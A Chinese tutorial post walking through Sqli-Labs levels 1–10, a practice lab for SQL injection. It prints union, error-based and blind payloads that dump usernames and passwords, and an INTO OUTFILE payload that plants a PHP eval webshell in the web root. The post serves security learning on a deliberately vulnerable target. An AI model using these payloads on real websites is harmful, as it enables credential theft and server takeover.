Java教程

Sqli-Labs练习(1-10)

本文主要是介绍Sqli-Labs练习(1-10),对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!

Less-1 Error Based- String

打开页面,提示用id作为变量

image-20210720165342712

打开hackbar,构造?id=1看看

image-20210720165536848

?id=1 and 1=2#?id=1 and 1=1#均正确执行,说明不是数字型注入

image-20210720165904116

加个'报错,看来是字符型注入了,也可以用报错注入

字符型注入

image-20210720165621723

用#注释结果报错,看来#被过滤了

image-20210720170116250

换成--+成功返回页面

image-20210720170228349

查询字段名有几个,几次尝试,发现为3

image-20210720170430913

看可用字段名有几个,为2,3

image-20210720170523173

查询出数据库名?id=-1' union select 1,database(), 3 --+

image-20210720170608382

有了数据库名,就可以查询出表名

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema=database() limit 0,1), 3 --+

image-20210720170811534

接下来查询出其他表名,其中一个为users

根据数据库名和表名查询出字段名,查询出其中一个字段名为password,同理查询出了其他字段名:id,username

?id=-1' union select 1,(select column_name from information_schema.columns where table_schema=database() and table_name='users' limit 2,1), 3 --+

image-20210720171039565

接下来获取用户名和密码

?id=-1' union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1) --+

这密码真有个性

image-20210720171330082

报错注入

因为输入'会报错,可以根据错误显示,来获取数据

具体可以看看Less-5的解释和详细操作

Less-2 Error Based- Intiger

?id=1 and 1=1成功显示

image-20210720171821478

?id=1 and 1=2毛都没有,显然是数字型注入

image-20210720171838713

接下来的操作和less-1一样,只不过开头少了一个单引号

?id=-1 union select 1,(select username from security.users limit 1,1), (select password from security.users limit 1,1) --+

Less-3 GET - Error based - Single quotes with twist string

输入?id=-1',报错

image-20210716110049741

可知id在Sql语句中用('$id')来查询

构造?id=1') order by 3--+绕过()

image-20210716110411607

接下来就是熟悉环节了,略过

Less-4 GET - Error based - Double Quotes - String

?id=1"

image-20210716111001470

可知查询语句为("$id"),用的双引号

因此?id=1") order by 3--+绕过

后面略过

Less-5 GET - Double Injection - Single Quotes - String

  1. ?id=1不显示结果,?id=2也不显示

image-20210716112814419

  1. ?id=1'会报错

image-20210716112925553

  1. 可用报错注入:
  • 通过floor报错(floor()取整)
    and (select 1 from (select count(*),concat(( payload),floor(rand()*2)) as x from information_schema.tables group by x)a)
    该语句将输出字符长度限制为64个字符

  • 通过updatexml报错
    and updatexml(1, payload,1)
    该语句对输出的字符长度做了限制,其最长输出32位
    并且对payload的返回类型也做了限制,只有在payload返回的不是xml格式才会生效

  • 通过ExtractValue报错
    and extractvalue(1, payload)
    输出字符有长度限制,最长32位。

​ payload即我们要输入的sql查询语句

构造payload:

?id=1' and (select 1 from (select count(*),concat(( select table_name from information_schema.tables where table_schema=database() limit 0,1),floor (rand(0)*2))x from information_schema.tables group by x)a)--+

image-20210716123827789

接下来略过

Less-6

less-5的单引号换成双引号

Less-7 Dump into outfile - String

注意设置mySQL中secure-file-priv=""

试探多次,没想到竟然有两个括号:

题目是想要让我们利用dump into file功能写入小马

导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,sqlmap中也有导出一句话和一个文件上传的页面

常用的语句是: select "<?php @eval($_POST['giantbranch']);?>" into outfile "XXX\test.php"

这里要获取到网站的在系统中的具体路径(绝对路径)

要怎么获取呢,根据系统和数据库猜测,

如winserver的iis默认路径是c:/inetpub/wwwroot/,这好像说偏了,这是asp的,但知道也好

linux的nginx一般是/usr/local/nginx/html,/home/wwwroot/default,/usr/share/nginx,/var/www/htm等

apache 就/var/www/htm,/var/www/html/htdocs

@@datadir 读取数据库路径,@@basedir MYSQL 获取安装路径,但是这道题不会显示.

?id=1')) union select 1, "<?php @eval($_POST['chopper']);?>" ,3 into outfile "D:\\BaiduNetdiskDownload\\phpstudy_pro\\WWW\\123456.php" --+

image-20210718093933571

连接成功

image-20210718094441942

Less-8 Blind-Bollian based -Single quotes

?id=1

?id=1'不反回结果

?id=1' and 1=1 --+返回结果

?id=1' and 1=2 --+不返回结果

推测为字符型盲注

接下来步骤:

  • 判断数据库库名长度
  • 利用burpsuite爆破数据库名
  • 以此类推获得表名,字段名,密码

判断数据库库名长度

?id=1' and length(database())=8 --+

image-20210718100835001

利用burpsuite爆破数据库名

?id=1' and substr(database(),1,1)='a' --+

substr是截取database()的值,1,1指从第一个字符开始,返回一个值

由爆破结果可获得数据库名

image-20210718101419776

同理可获得表名,字段名

Less-9 Blind-time based -Single quotes

?id=1'

?id=1' and 1=2--+

?id=1' and 1=1--+

均返回如下页面

image-20210718102323031

看的我一脸懵逼,看了下源码发现不管正确还是错误,返回结果是一样的,这咋办呢?

image-20210718102147858

查了一下,要用时间注入,可以使用and if(length(查询名)>=6,sleep(5),1)

如果长度大于6,就会执行sleep(5),否则查询1

sleep(5)需要5秒,执行1不需要一秒

Less-10 Blind-time based -Double quotes

和Less-9一样,不过'变成了"

这篇关于Sqli-Labs练习(1-10)的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!